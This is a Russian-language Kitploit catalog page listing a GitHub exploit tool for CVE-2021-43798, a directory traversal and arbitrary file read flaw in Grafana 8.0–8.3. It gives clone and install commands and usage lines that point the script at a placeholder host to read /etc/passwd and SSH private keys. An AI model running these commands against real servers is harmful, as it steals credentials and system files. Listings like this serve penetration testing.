Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/wagneralves/cve-2021-43798
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHubwagneralves/cve-2021-43798

CVE-2021-43798

Обход каталогов и чтение произвольных файлов в Grafana

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-43798

Обход каталогов и произвольное чтение файлов в Grafana

Авторы:
Wagner Alves - Аналитик команды Red Team

Этот эксплойт использует уязвимости обхода каталогов и произвольного чтения файлов в Grafana 8.0 – 8.3, позволяя читать такие файлы, как /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release и другие интересные файлы.

Установка

root@kitploit:~
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh

Использование

root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd

root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa

root@kitploit:~
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa

Скачать инструмент